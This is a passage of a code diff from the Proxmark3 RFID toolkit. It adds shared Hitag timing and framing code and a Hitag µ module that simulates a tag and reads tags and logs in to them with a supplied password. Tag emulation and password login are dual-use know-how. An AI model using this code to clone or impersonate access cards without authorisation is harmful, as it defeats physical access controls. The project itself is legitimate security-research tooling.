}
// We can break this loop if we received the last bit from a frame
// max periods between 2 falling edge
// RTF AC64 |--__|--__| (00) 64 * T0
// RTF MC32 |_-|-_|_-| (010) 48 * T0
if (AT91C_BASE_TC1->TC_CV > (T0 * 80)) {
if (bStarted) {
break;
}
}
}
DBG {
Dbprintf("RX %i:%02X.. resptime:%i edges:", *rxlen, rx[0], *resptime);
Dbhexdump(rb_i, edges, false);
}
}
// Tag functions - depends on modulation type
static void hitag_tag_send_bit(int bit, MOD modulation, bool ledcontrol) {
// Reset clock for the next bit
AT91C_BASE_TC0->TC_CCR = AT91C_TC_SWTRG;
if (ledcontrol) LED_A_ON();
switch (modulation) {
case AC2K: {
if (bit == 0) {
// AC Coding --__
HIGH(GPIO_SSC_DOUT);
while (AT91C_BASE_TC0->TC_CV < T0 * 32) {};
LOW(GPIO_SSC_DOUT);
while (AT91C_BASE_TC0->TC_CV < T0 * 64) {};
} else {
// AC coding -_-_
HIGH(GPIO_SSC_DOUT);
while (AT91C_BASE_TC0->TC_CV < T0 * 16) {};
LOW(GPIO_SSC_DOUT);
while (AT91C_BASE_TC0->TC_CV < T0 * 32) {};
HIGH(GPIO_SSC_DOUT);
while (AT91C_BASE_TC0->TC_CV < T0 * 48) {};
LOW(GPIO_SSC_DOUT);
while (AT91C_BASE_TC0->TC_CV < T0 * 64) {};
}
break;
}
case AC4K: {
if (bit == 0) {
// AC Coding --__
HIGH(GPIO_SSC_DOUT);
while (AT91C_BASE_TC0->TC_CV < T0 * HITAG_T_TAG_HALF_PERIOD) {};
LOW(GPIO_SSC_DOUT);
while (AT91C_BASE_TC0->TC_CV < T0 * HITAG_T_TAG_FULL_PERIOD) {};
} else {
// AC coding -_-_
HIGH(GPIO_SSC_DOUT);
while (AT91C_BASE_TC0->TC_CV < T0 * 8) {};
LOW(GPIO_SSC_DOUT);
while (AT91C_BASE_TC0->TC_CV < T0 * 16) {};
HIGH(GPIO_SSC_DOUT);
while (AT91C_BASE_TC0->TC_CV < T0 * 24) {};
LOW(GPIO_SSC_DOUT);
while (AT91C_BASE_TC0->TC_CV < T0 * 32) {};
}
break;
}
case MC4K: {
if (bit == 0) {
// Manchester: Unloaded, then loaded |__--|
LOW(GPIO_SSC_DOUT);
while (AT91C_BASE_TC0->TC_CV < T0 * 16) {};
HIGH(GPIO_SSC_DOUT);
while (AT91C_BASE_TC0->TC_CV < T0 * 32) {};
} else {
// Manchester: Loaded, then unloaded |--__|
HIGH(GPIO_SSC_DOUT);
while (AT91C_BASE_TC0->TC_CV < T0 * 16) {};
LOW(GPIO_SSC_DOUT);
while (AT91C_BASE_TC0->TC_CV < T0 * 32) {};
}
break;
}
case MC8K: {
if (bit == 0) {
// Manchester: Unloaded, then loaded |__--|
LOW(GPIO_SSC_DOUT);
while (AT91C_BASE_TC0->TC_CV < T0 * 8) {};
HIGH(GPIO_SSC_DOUT);
while (AT91C_BASE_TC0->TC_CV < T0 * 16) {};
} else {
// Manchester: Loaded, then unloaded |--__|
HIGH(GPIO_SSC_DOUT);
while (AT91C_BASE_TC0->TC_CV < T0 * 8) {};
LOW(GPIO_SSC_DOUT);
while (AT91C_BASE_TC0->TC_CV < T0 * 16) {};
}
break;
}
}
if (ledcontrol) LED_A_OFF();
}
void hitag_tag_receive_frame(uint8_t *rx, size_t sizeofrx, size_t *rxlen, uint32_t *start_time, bool ledcontrol, int *overflow) {
uint16_t next_edge_event = AT91C_TC_LDRBS;
uint8_t edges[160] = {0};
uint32_t rb_i = 0;
// Receive frame, watch for at most T0*EOF periods
while (AT91C_BASE_TC1->TC_CV < T0 * HITAG_T_EOF) {
// Check if edge in modulation is detected
if (AT91C_BASE_TC1->TC_SR & next_edge_event) {
next_edge_event = next_edge_event ^ (AT91C_TC_LDRAS | AT91C_TC_LDRBS);
// only use AT91C_TC_LDRBS falling edge for now
if (next_edge_event == AT91C_TC_LDRBS) continue;
// Retrieve the new timing values
uint32_t rb = AT91C_BASE_TC1->TC_RB / T0 + *overflow;
*overflow = 0;
edges[rb_i++] = rb;
if (ledcontrol) LED_B_INV();
// Capture reader cmd start timestamp
if (*start_time == 0) {
*start_time = TIMESTAMP - HITAG_T_LOW;
}
// Capture reader frame
if (rb >= HITAG_T_STOP) {
// Hitag µ SOF
if (*rxlen != 0 && *rxlen != 1) {
// DBG DbpString("weird0?");
break;
}
*rxlen = 0;
} else if (rb >= HITAG_T_1_MIN) {
// '1' bit
SET_BIT_MSB(rx, *rxlen);
(*rxlen)++;
} else if (rb >= HITAG_T_0_MIN) {
// '0' bit
// CLEAR_BIT_MSB(rx, *rxlen);
(*rxlen)++;
} else {
// Ignore weird value, is too small to mean anything
}
}
}
if (ledcontrol) LED_B_OFF();
DBG if (rb_i) {
Dbprintf("RX %i bits.. start_time:%i edges:", *rxlen, *start_time);
Dbhexdump(rb_i, edges, false);
}
}
void hitag_tag_send_frame(const uint8_t *frame, size_t frame_len, int sof_bits, MOD modulation, bool ledcontrol) {
// The beginning of the frame is hidden in some high level; pause until our bits will have an effect
AT91C_BASE_TC0->TC_CCR = AT91C_TC_SWTRG;
HIGH(GPIO_SSC_DOUT);
switch (modulation) {
case AC4K:
case MC8K: {
while (AT91C_BASE_TC0->TC_CV < T0 * 40) {}; // FADV
break;
}
case AC2K:
case MC4K: {
while (AT91C_BASE_TC0->TC_CV < T0 * 20) {}; // STD + ADV
break;
}
}
// SOF - send start of frame
for (size_t i = 0; i < sof_bits; i++) {
if (sof_bits == 4 && i == 3) {
// Hitag µ SOF is 110
hitag_tag_send_bit(0, modulation, ledcontrol);
break;
} else
hitag_tag_send_bit(1, modulation, ledcontrol);
}
// Send the content of the frame
for (size_t i = 0; i < frame_len; i++) {
hitag_tag_send_bit(TEST_BIT_MSB(frame, i), modulation, ledcontrol);
}
LOW(GPIO_SSC_DOUT);
}

57
armsrc/hitag_common.h Normal file
View file

@ -0,0 +1,57 @@
#ifndef HITAG_COMMON_H
#define HITAG_COMMON_H
#include "hitag.h"
// Sam7s has several timers, we will use the source TIMER_CLOCK3 (aka AT91C_TC_CLKS_TIMER_DIV3_CLOCK)
// TIMER_CLOCK3 = MCK/32, MCK is running at 48 MHz, Timer is running at 48MHz/32 = 1500 KHz
// Hitag units (T0) have duration of 8 microseconds (us), which is 1/125000 per second (carrier)
// T0 = TIMER_CLOCK3 / 125000 = 12
#define T0 12
#define HITAG_FRAME_LEN 20
// TC0 and TC1 are 16-bit counters and will overflow after 5461 * T0
// Ensure not to set these timings above 5461 (~43ms) when comparing without considering overflow, as they will never reach that value.
#define HITAG_T_LOW 8 /* T_LOW should be 4..10 */
#define HITAG_T_0 20 /* T[0] should be 18..22 */
#define HITAG_T_1 28 /* T[1] should be 26..32 */
#define HITAG_T_0_MIN 15 /* T[0] should be 18..22 */
#define HITAG_T_1_MIN 25 /* T[1] should be 26..32 */
#define HITAG_T_STOP 36 /* T_EOF should be > 36 */
#define HITAG_T_CODE_VIOLATION 36 /* Hitag µ TFcv should be 34..38 */
#define HITAG_T_EOF 80 /* T_EOF should be > 36 */
#define HITAG_T_WAIT_RESP 200 /* T_wresp should be 204..212 */
#define HITAG_T_WAIT_SC 200 /* T_wsc should be 90..5000 */
#define HITAG_T_WAIT_FIRST 300 /* T_wfc should be 280..565 (T_ttf) */
#define HITAG_T_PROG_MAX 750 /* T_prog should be 716..726 */
#define HITAG_T_TAG_ONE_HALF_PERIOD 10
#define HITAG_T_TAG_TWO_HALF_PERIOD 25
#define HITAG_T_TAG_THREE_HALF_PERIOD 41
#define HITAG_T_TAG_FOUR_HALF_PERIOD 57
#define HITAG_T_TAG_HALF_PERIOD 16
#define HITAG_T_TAG_FULL_PERIOD 32
#define HITAG_T_TAG_CAPTURE_ONE_HALF 13
#define HITAG_T_TAG_CAPTURE_TWO_HALF 25
#define HITAG_T_TAG_CAPTURE_THREE_HALF 41
#define HITAG_T_TAG_CAPTURE_FOUR_HALF 57
extern uint16_t timestamp_high;
#define TIMESTAMP ( (AT91C_BASE_TC2->TC_SR & AT91C_TC_COVFS) ? timestamp_high += 1 : 0, ((timestamp_high << 16) + AT91C_BASE_TC2->TC_CV) / T0)
// Common hitag functions
void hitag_setup_fpga(uint16_t conf, uint8_t threshold, bool ledcontrol);
void hitag_cleanup(bool ledcontrol);
void hitag_reader_send_frame(const uint8_t *frame, size_t frame_len, bool ledcontrol, bool send_sof);
void hitag_reader_receive_frame(uint8_t *rx, size_t sizeofrx, size_t *rxlen, uint32_t *resptime, bool ledcontrol, MOD modulation,
int sof_bits);
void hitag_tag_receive_frame(uint8_t *rx, size_t sizeofrx, size_t *rxlen, uint32_t *start_time, bool ledcontrol, int *overflow);
void hitag_tag_send_frame(const uint8_t *frame, size_t frame_len, int sof_bits, MOD modulation, bool ledcontrol);
#endif

897
armsrc/hitagu.c Normal file
View file

@ -0,0 +1,897 @@
//-----------------------------------------------------------------------------
// Copyright (C) Proxmark3 contributors. See AUTHORS.md for details.
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// See LICENSE.txt for the text of the license.
//-----------------------------------------------------------------------------
// Low frequency HITAG µ (micro) functions
#include "hitagu.h"
#include "hitag_common.h"
#include "BigBuf.h"
#include "appmain.h" // tearoff_hook()
#include "cmd.h"
#include "commonutil.h"
#include "crc16.h"
#include "dbprint.h"
#include "fpgaloader.h"
#include "hitag2/hitag2_crypto.h"
#include "lfadc.h"
#include "protocols.h"
#include "proxmark3_arm.h"
#include "string.h"
#include "ticks.h"
#include "util.h"
// Hitag µ specific definitions
#define HTU_SOF_BITS 4 // Start of frame bits is always 3 for Hitag µ (110) plus 1 bit error flag
MOD M = MC4K; // Modulation type
// Structure to hold the state of the Hitag µ tag
static struct hitagU_tag tag = {
.pstate = HT_READY, // Initial state is ready
.max_page = HITAGU_MAX_PAGE_STANDARD, // Default to standard version
.icr = 0, // Default ICR value
};
// Macros for managing authentication state
#define IS_AUTHENTICATED() (tag.pstate == HT_AUTHENTICATE)
#define SET_AUTHENTICATED() (tag.pstate = HT_AUTHENTICATE)
#define RESET_AUTHENTICATION() (tag.pstate = HT_READY)
/*
* Update the maximum page number based on the tag's ICR (IC Revision)
*/
static void update_tag_max_page_by_icr(void) {
// Set max_page based on ICR value
switch (tag.icr) {
case HITAGU_ICR_STANDARD:
tag.max_page = HITAGU_MAX_PAGE_STANDARD;
DBG Dbprintf("Detected standard Hitag µ (ICR=0x%02X), max page: 0x%02X", tag.icr, tag.max_page);
break;
case HITAGU_ICR_ADVANCED:
tag.max_page = HITAGU_MAX_PAGE_ADVANCED;
DBG Dbprintf("Detected Hitag µ advanced (ICR=0x%02X), max page: 0x%02X", tag.icr, tag.max_page);
break;
case HITAGU_ICR_ADVANCED_PLUS:
tag.max_page = HITAGU_MAX_PAGE_ADVANCED_PLUS;
DBG Dbprintf("Detected Hitag µ advanced+ (ICR=0x%02X), max page: 0x%02X", tag.icr, tag.max_page);
break;
case HITAGU_ICR_8265:
tag.max_page = HITAGU_MAX_PAGE_8265;
DBG Dbprintf("Detected Hitag µ 8265 (ICR=0x%02X), max page: 0x%02X", tag.icr, tag.max_page);
break;
default:
// Unknown ICR, use standard size as fallback
tag.max_page = HITAGU_MAX_PAGE_STANDARD;
DBG Dbprintf("Unknown Hitag µ ICR: 0x%02X, defaulting to max page: 0x%02X", tag.icr, tag.max_page);
break;
}
}
/*
* Update the maximum page number based on the tag's memory configuration
* This function checks both ICR and additional pattern-based detection
*/
static void update_tag_max_page(void) {
// First try to determine max_page from ICR
update_tag_max_page_by_icr();
// Additional tag type detection can be added here
}
/*
* Handles all commands from a reader for Hitag µ
* Processes flags and commands, generates appropriate responses
*/
static void htu_handle_reader_command(uint8_t *rx, const size_t rxlen, uint8_t *tx, size_t *txlen) {
// Initialize response
*txlen = 0;
if (rxlen < 5) {
return; // Command too short
}
// Extract flags (5 bits) and command (6 bits if present)
uint8_t flags = (rx[0] >> 3) & 0x1F;
uint8_t command = 0;
if (rxlen >= 11) {
// Extract 6-bit command if present
command = ((rx[0] & 0x07) << 3) | ((rx[1] >> 5) & 0x07);
}
// Check flags
bool inv_flag = (flags & HITAGU_FLAG_INV);
bool crct_flag = (flags & HITAGU_FLAG_CRCT);
// Handle based on flags and command
if (inv_flag) {
// Inventory mode - respond with UID (48 bits)
*txlen = concatbits(tx, *txlen, tag.uid, 0, HITAGU_UID_SIZE * 8, true);
} else if (command == HITAGU_CMD_LOGIN) {
// Login command
if (rxlen >= 43) { // 5+6+32 bits = 43 bits minimum
// Extract password - 32 bits after command
uint32_t password = 0;
for (int i = 0; i < 4; i++) {
int startBit = 11 + i * 8; // 5+6 bits of command + i*8
uint8_t b = 0;
for (int j = 0; j < 8; j++) {
int bitPos = startBit + j;
int pos = bitPos / 8;
int shift = 7 - (bitPos % 8);
b |= ((rx[pos] >> shift) & 0x01) << (7 - j);
}
password |= (b << (24 - i * 8));
}
// Check password
if (password == ((tag.password[0] << 24) | (tag.password[1] << 16) | (tag.password[2] << 8) | tag.password[3])) {
// Set authentication state
SET_AUTHENTICATED();
// Send success response
uint8_t resp_byte = 0x01; // Success code
*txlen = concatbits(tx, *txlen, &resp_byte, 0, 8, true);
} else {
// Authentication failed
RESET_AUTHENTICATION();
// Send failure response
uint8_t resp_byte = 0x00; // Failure code
*txlen = concatbits(tx, *txlen, &resp_byte, 0, 8, true);
}
}
} else if (command == HITAGU_CMD_SELECT) {
// Select command
if (rxlen >= 59) { // 5+6+48 bits = 59 bits minimum (48-bit UID)
// Extract UID to select - next 48 bits
uint8_t sel_uid[6] = {0};
for (int i = 0; i < 6; i++) {
int startBit = 11 + i * 8; // 5+6 bits of command + i*8
uint8_t b = 0;
for (int j = 0; j < 8; j++) {
int bitPos = startBit + j;
int pos = bitPos / 8;
int shift = 7 - (bitPos % 8);
b |= ((rx[pos] >> shift) & 0x01) << (7 - j);
}
sel_uid[i] = b;
}
// Check if UID matches
if (memcmp(sel_uid, tag.uid, 6) == 0) {
// Selected - send response with select data
uint8_t resp_data[4] = {0xCA, 0x24, 0x00, 0x00}; // Standard select response
*txlen = concatbits(tx, *txlen, resp_data, 0, 32, true);
} else {
// UID mismatch - no response
*txlen = 0;
}
}
} else if (command == HITAGU_CMD_READ_MULTIPLE_BLOCK) {
// Read command
if (rxlen >= 19) { // 5+6+8 bits = 19 bits minimum
// Extract page address - 8 bits after command
uint8_t page = 0;
for (int i = 0; i < 8; i++) {
int bitPos = 11 + i; // 5+6 bits of command + i
int pos = bitPos / 8;
int shift = 7 - (bitPos % 8);
page |= ((rx[pos] >> shift) & 0x01) << (7 - i);
}
// Extract number of blocks to read if ADR flag is set
uint8_t read_len = 1; // Default to 1 page
if ((flags & HITAGU_FLAG_ADR) && rxlen >= 27) {
for (int i = 0; i < 8; i++) {
int bitPos = 19 + i;
int pos = bitPos / 8;
int shift = 7 - (bitPos % 8);
if (pos < (rxlen + 7) / 8) {
read_len |= ((rx[pos] >> shift) & 0x01) << (7 - i);
}
}
}
// Security check: does this page require authentication?
bool needs_auth = false;
// Check if page is password-protected (e.g., config or password page)
if (page == HITAGU_PASSWORD_PADR) {
needs_auth = true;
}
// Check authentication for protected pages
if (needs_auth && !IS_AUTHENTICATED()) {
// Not authenticated, cannot read protected pages
DBG Dbprintf("Page %d requires authentication", page);
// Mark as unauthorized access
*txlen = 0; // No response
} else {
// Map page address (some pages may be aliased)
uint8_t real_page = page;
if (page >= 64 && tag.max_page <= 64) {
real_page = page & 0x3F; // Pages above 64 map to 0-63
}
// Read requested number of pages
for (int i = 0; i < read_len && i < 16; i++) { // Limit to 16 pages max
uint8_t curr_page = (real_page + i) % tag.max_page;
// Special pages
if (curr_page == HITAGU_CONFIG_PADR) {
// Config page
*txlen = concatbits(tx, *txlen, (uint8_t *)&tag.config, 0, 32, true);
} else if (curr_page == HITAGU_PASSWORD_PADR) {
// Password page - only return if authenticated
if (IS_AUTHENTICATED()) {
*txlen = concatbits(tx, *txlen, tag.password, 0, 32, true);
} else {
// Return zeros if not authenticated
uint8_t zeros[4] = {0};
*txlen = concatbits(tx, *txlen, zeros, 0, 32, true);
}
} else {
// Regular page
*txlen = concatbits(tx, *txlen, tag.data.pages[curr_page], 0, 32, true);
}
}
}
}
} else if (command == HITAGU_CMD_WRITE_SINGLE_BLOCK) {
// Write command
if (rxlen >= 51) { // 5+6+8+32 bits = 51 bits minimum
// Check if authenticated
if (!IS_AUTHENTICATED()) {
DBG Dbprintf("WRITE failed: not authenticated");
*txlen = 0; // No response
} else {
// Extract page address - 8 bits after command
uint8_t page = 0;
for (int i = 0; i < 8; i++) {
int bitPos = 11 + i; // 5+6 bits of command + i
int pos = bitPos / 8;
int shift = 7 - (bitPos % 8);
page |= ((rx[pos] >> shift) & 0x01) << (7 - i);
}
// Extract data - 32 bits after page address
uint8_t data[4] = {0};
for (int i = 0; i < 4; i++) {
for (int j = 0; j < 8; j++) {
int bitPos = 19 + i * 8 + j;
int pos = bitPos / 8;
int shift = 7 - (bitPos % 8);
if (pos < (rxlen + 7) / 8) {
data[i] |= ((rx[pos] >> shift) & 0x01) << (7 - j);
}
}
}
// Map page address
uint8_t real_page = page;
if (page >= 64 && tag.max_page <= 64) {
real_page = page & 0x3F; // Pages above 64 map to 0-63
}
// Special pages
if (real_page == HITAGU_CONFIG_PADR) {
// Write config
memcpy(&tag.config, data, 4);
DBG Dbprintf("WRITE CONFIG: %02X %02X %02X %02X", data[0], data[1], data[2], data[3]);
} else if (real_page == HITAGU_PASSWORD_PADR) {
// Write password
memcpy(tag.password, data, 4);
DBG Dbprintf("WRITE PASSWORD: %02X %02X %02X %02X", data[0], data[1], data[2], data[3]);
} else if (real_page < tag.max_page) {
// Regular page
memcpy(tag.data.pages[real_page], data, 4);
DBG Dbprintf("WRITE PAGE %02X: %02X %02X %02X %02X", real_page, data[0], data[1], data[2], data[3]);
}
// Send success acknowledgment
uint8_t ack = 0x01; // Success acknowledgment
*txlen = concatbits(tx, *txlen, &ack, 0, 8, true);
}
}
} else if (command == HITAGU_CMD_SYSINFO) {
// System info command
// Prepare system info response with ICR field
uint8_t info[8] = {0};
// First byte: Error flag (0) + 7 reserved bits
info[0] = 0x00;
// Additional bytes: System Memory Block Data
// MSN (Manufacturer Serial Number) - example values
info[1] = 0x12;
info[2] = 0x34;
// MFC (Manufacturer Code) - example value
info[3] = 0x04; // NXP
// ICR (IC Revision)
info[4] = tag.icr;
// Reserved bytes
info[5] = 0x00;
info[6] = 0x00;
info[7] = 0x00;
// Add the system info data to the response
*txlen = concatbits(tx, *txlen, info, 0, 64, true);
} else if (flags == HITAGU_CMD_STAY_QUIET) {
// Quiet command - no response needed
RESET_AUTHENTICATION();
*txlen = 0;
} else {
// Unknown command
DBG Dbprintf("Unknown command or flags: flags=%02X, cmd=%02X", flags, command);
*txlen = 0; // No response
}
// Add CRC if requested and there is response data
if (crct_flag && *txlen > 0) {
// Calculate CRC-16/XMODEM directly from tx
uint16_t crc = Crc16(tx, *txlen, 0, CRC16_POLY_CCITT, false, true);
// Append CRC-16 (16 bits)
*txlen = concatbits(tx, *txlen, (uint8_t *)&crc, 0, 16, true);
}
}
/*
* Simulates a Hitag µ Tag with the given data
*/
void htu_simulate(bool tag_mem_supplied, int8_t threshold, const uint8_t *data, bool ledcontrol) {
uint8_t rx[HITAG_FRAME_LEN] = {0};
size_t rxlen = 0;
uint8_t tx[HITAG_FRAME_LEN];
size_t txlen = 0;
// Free any allocated BigBuf memory
BigBuf_free();
BigBuf_Clear_ext(false);
DbpString("Starting Hitag µ simulation");
// Reset tag state
memset(&tag, 0, sizeof(tag));
tag.max_page = 64; // Default maximum page
RESET_AUTHENTICATION();
// Read tag data into memory if supplied
if (tag_mem_supplied) {
DbpString("Loading Hitag µ memory...");
// First 6 bytes are the UID (48 bits)
memcpy(tag.uid, data, 6);
// Rest is page data
memcpy(tag.data.pages, data + 6, sizeof(tag.data.pages));
}
// Update max_page based on configuration
update_tag_max_page();
// Debug output of tag data
DBG Dbprintf("UID: %02X%02X%02X%02X%02X%02X", tag.uid[0], tag.uid[1], tag.uid[2], tag.uid[3], tag.uid[4], tag.uid[5]);
for (int i = 0; i <= tag.max_page; i++) {
DBG Dbprintf("Page[%2d]: %02X %02X %02X %02X", i, tag.data.pages[i][0], tag.data.pages[i][1],
tag.data.pages[i][2], tag.data.pages[i][3]);
}
hitag_setup_fpga(0, threshold, ledcontrol);
int overflow = 0;
// Simulation main loop
while ((BUTTON_PRESS() == false) && (data_available() == false)) {
uint32_t start_time = 0;
WDT_HIT();
// Receive commands from the reader
hitag_tag_receive_frame(rx, sizeof(rx), &rxlen, &start_time, ledcontrol, &overflow);
// Check if frame was captured and store it
if (rxlen > 0) {
LogTraceBits(rx, rxlen, start_time, TIMESTAMP, true);
// Disable timer 1 with external trigger to avoid triggers during our own modulation
AT91C_BASE_TC1->TC_CCR = AT91C_TC_CLKDIS;
// Prepare tag response (tx)
memset(tx, 0x00, sizeof(tx));
txlen = 0;
// Process received reader command
htu_handle_reader_command(rx, rxlen, tx, &txlen);
// Wait for HITAG_T_WAIT_RESP carrier periods after the last reader bit,
// not that since the clock counts since the rising edge, but T_Wait1 is
// with respect to the falling edge, we need to wait actually (T_Wait1 - T_Low)
// periods. The gap time T_Low varies (4..10). All timer values are in
// terms of T0 units
while (AT91C_BASE_TC0->TC_CV < T0 * (HITAG_T_WAIT_RESP - HITAG_T_LOW)) {
};
// Send and store the tag answer (if there is any)
if (txlen > 0) {
// Transmit the tag frame
start_time = TIMESTAMP;
hitag_tag_send_frame(tx, txlen, HTU_SOF_BITS, MC4K, ledcontrol);
LogTraceBits(tx, txlen, start_time, TIMESTAMP, false);
}
// Enable and reset external trigger in timer for capturing future frames
AT91C_BASE_TC1->TC_CCR = AT91C_TC_CLKEN | AT91C_TC_SWTRG;
// Reset the received frame and response timing info
memset(rx, 0x00, sizeof(rx));
}
// Reset the frame length
rxlen = 0;
// Save the timer overflow, will be 0 when frame was received
overflow += (AT91C_BASE_TC1->TC_CV / T0);
// Reset the timer to restart while-loop that receives frames
AT91C_BASE_TC1->TC_CCR = AT91C_TC_SWTRG;
}
hitag_cleanup(ledcontrol);
// Release allocated memory from BigBuf
BigBuf_free();
DbpString("Simulation stopped");
}
/*
* Send command to reader and receive answer from tag
*/
static int htu_reader_send_receive(uint8_t *tx, size_t txlen, uint8_t *rx, size_t sizeofrx, size_t *rxlen,
uint32_t t_wait, bool ledcontrol, uint8_t modulation, uint8_t sof_bits) {
// Reset the received frame
memset(rx, 0x00, sizeofrx);
// Disable timer 1 with external trigger to avoid triggers during our own modulation
AT91C_BASE_TC1->TC_CCR = AT91C_TC_CLKDIS;
DBG Dbprintf("tx %d bits:", txlen);
DBG Dbhexdump((txlen + 7) / 8, tx, false);
// Wait until we can send the command
while (AT91C_BASE_TC0->TC_CV < T0 * t_wait) {
};
// Set up tracing
uint32_t start_time = TIMESTAMP;
// Send the command - Hitag µ always requires SOF
hitag_reader_send_frame(tx, txlen, ledcontrol, true);
// if (enable_page_tearoff && tearoff_hook() == PM3_ETEAROFF) {
// return PM3_ETEAROFF;
// }
LogTraceBits(tx, txlen, start_time, TIMESTAMP, true);
// Enable and reset external trigger in timer for capturing future frames
AT91C_BASE_TC1->TC_CCR = AT91C_TC_CLKEN | AT91C_TC_SWTRG;
// Capture response - SOF is automatically stripped by hitag_reader_receive_frame
hitag_reader_receive_frame(rx, sizeofrx, rxlen, &start_time, ledcontrol, modulation, sof_bits);
LogTraceBits(rx, *rxlen, start_time, TIMESTAMP, false);
DBG Dbprintf("rx %d bits:", *rxlen);
DBG Dbhexdump((*rxlen + 7) / 8, rx, false);
// TODO: check Error flag
return PM3_SUCCESS;
}
/*
* Selects a tag using the READ UID, GET SYSTEM INFORMATION, and LOGIN commands
*/
static int htu_select_tag(const lf_hitag_data_t *payload, uint8_t *tx, size_t sizeoftx, uint8_t *rx, size_t sizeofrx,
int t_wait, bool ledcontrol) {
// Initialize response
size_t txlen = 0;
size_t rxlen = 0;
// Setup FPGA and initialize
hitag_setup_fpga(FPGA_LF_EDGE_DETECT_READER_FIELD, 127, ledcontrol);
// Prepare common flags and command variables
uint8_t flags = HITAGU_FLAG_CRCT; // Set appropriate flags for all commands
uint8_t command;
// uint8_t parameter;
// 1. Send READ UID command
command = HITAGU_CMD_READ_UID;
txlen = concatbits(tx, txlen, &flags, 0, 5, true);
txlen = concatbits(tx, txlen, &command, 0, 6, true);
// Append CRC-16 (16 bits)
uint16_t crc = Crc16(tx, txlen, 0, CRC16_POLY_CCITT, false, true);
txlen = concatbits(tx, txlen, (uint8_t *)&crc, 0, 16, true);
// lf cmdread -d 64 -z 96 -o 160 -e W2400 -e S224 -e E336 -s 4096 -c W0S00100010000
// Send the READ UID command and receive the response
htu_reader_send_receive(tx, txlen, rx, sizeofrx, &rxlen, t_wait, ledcontrol, MC4K, HTU_SOF_BITS);
// Check if the response is valid
if (rxlen < 1 + 48 + 16 || Crc16(rx, rxlen, 0, CRC16_POLY_CCITT, false, false) != 0) {
DBG Dbprintf("Read UID command failed! %i", rxlen);
return -2; // Read UID failed
}
// Process the UID from the response
concatbits(tag.uid, 0, rx, 1, 48, false);
// 2. Send GET SYSTEM INFORMATION command
command = HITAGU_CMD_SYSINFO;
txlen = 0; // Reset txlen for the new command
txlen = concatbits(tx, txlen, &flags, 0, 5, true);
txlen = concatbits(tx, txlen, &command, 0, 6, true);
// Append CRC-16 (16 bits)
crc = Crc16(tx, txlen, 0, CRC16_POLY_CCITT, false, true);
txlen = concatbits(tx, txlen, (uint8_t *)&crc, 0, 16, true);
// Send the GET SYSTEM INFORMATION command and receive the response
htu_reader_send_receive(tx, txlen, rx, sizeofrx, &rxlen, HITAG_T_WAIT_SC, ledcontrol, MC4K, HTU_SOF_BITS);
concatbits(&tag.icr, 0, rx, 9, 8, false);
// Check if the response is valid
if (rxlen < 1 + 16 + 16 || Crc16(rx, rxlen, 0, CRC16_POLY_CCITT, false, false) != 0) {
// 8265 bug? sometile lost Data field first bit
DBG Dbprintf("Get System Information command failed! %i", rxlen);
return -3; // Get System Information failed
}
// 3. Read config block
command = HITAGU_CMD_READ_MULTIPLE_BLOCK;
txlen = 0; // Reset txlen for the new command
txlen = concatbits(tx, txlen, &flags, 0, 5, true);
txlen = concatbits(tx, txlen, &command, 0, 6, true);
// Add block address
txlen = concatbits(tx, txlen, (uint8_t *)&"\xFF", 0, 8, true);
// Add number of blocks, 0 means 1 block
txlen = concatbits(tx, txlen, (uint8_t *)&"\x00", 0, 8, true);
// Append CRC-16 (16 bits)
crc = Crc16(tx, txlen, 0, CRC16_POLY_CCITT, false, true);
txlen = concatbits(tx, txlen, (uint8_t *)&crc, 0, 16, true);
// Send read command and receive response
htu_reader_send_receive(tx, txlen, rx, sizeofrx, &rxlen, HITAG_T_WAIT_SC, ledcontrol, MC4K, HTU_SOF_BITS);
// Check if the response is valid
if (rxlen < 1 + 32 + 16 || Crc16(rx, rxlen, 0, CRC16_POLY_CCITT, false, false) != 0) {
DBG Dbprintf("Read config block command failed! %i", rxlen);
return -3; // Read config block failed
}
// Process the config block from the response
concatbits(tag.config.asBytes, 0, rx, 1, 32, false);
reverse_arraybytes(tag.config.asBytes, HITAGU_BLOCK_SIZE);
// 4. Send LOGIN command if necessary
if (payload && (payload->cmd == HTUF_82xx || payload->cmd == HTUF_PASSWORD)) {
command = HITAGU_CMD_LOGIN; // Set command for login
txlen = 0; // Reset txlen for the new command
txlen = concatbits(tx, txlen, &flags, 0, 5, true);
txlen = concatbits(tx, txlen, &command, 0, 6, true);
txlen = concatbits(tx, txlen, payload->pwd, 0, HITAG_PASSWORD_SIZE * 8, false);
// Append CRC-16 (16 bits)
crc = Crc16(tx, txlen, 0, CRC16_POLY_CCITT, false, true);
txlen = concatbits(tx, txlen, (uint8_t *)&crc, 0, 16, true);
// Send the LOGIN command and receive the response
htu_reader_send_receive(tx, txlen, rx, sizeofrx, &rxlen, HITAG_T_WAIT_SC, ledcontrol, MC4K, HTU_SOF_BITS);
// Check if login succeeded
if (rxlen < 1 + 16 || Crc16(rx, rxlen, 0, CRC16_POLY_CCITT, false, false) != 0) {
DBG Dbprintf("Login command failed! %i", rxlen);
return -4; // Login failed
} else {
DBG DbpString("Login successful");
}
// flags |= HITAGU_FLAG_ADR;
// command = HITAGU_CMD_LOGIN; // Set command for login
// txlen = 0; // Reset txlen for the new command
// txlen = concatbits(tx, txlen, &flags, 0, 5, true);
// txlen = concatbits(tx, txlen, &command, 0, 6, true);
// txlen = concatbits(tx, txlen, payload->uid, 0, HITAGU_UID_SIZE * 8, false);
// txlen = concatbits(tx, txlen, payload->pwd, 0, HITAG_PASSWORD_SIZE * 8, false);
// // Append CRC-16 (16 bits)
// crc = Crc16(tx, txlen, 0, CRC16_POLY_CCITT, false, true);
// txlen = concatbits(tx, txlen, (uint8_t *)&crc, 0, 16, true);
// // Send the LOGIN command and receive the response
// htu_reader_send_receive(tx, txlen, rx, sizeofrx, &rxlen, HITAG_T_WAIT_SC, ledcontrol, MC4K, HTU_SOF_BITS);
// // Check if login succeeded
// if (rxlen < 1 + 16 || Crc16(rx, rxlen, 0, CRC16_POLY_CCITT, false, false) != 0) {
// DBG Dbprintf("Login command failed! %i", rxlen);
// return -3; // Login failed
// } else {
// DbpString("Login successful");
// }
}
// If all commands are successful, update the tag's state
update_tag_max_page(); // Update max_page based on the new configuration
return 0; // Selection successful
}
/*
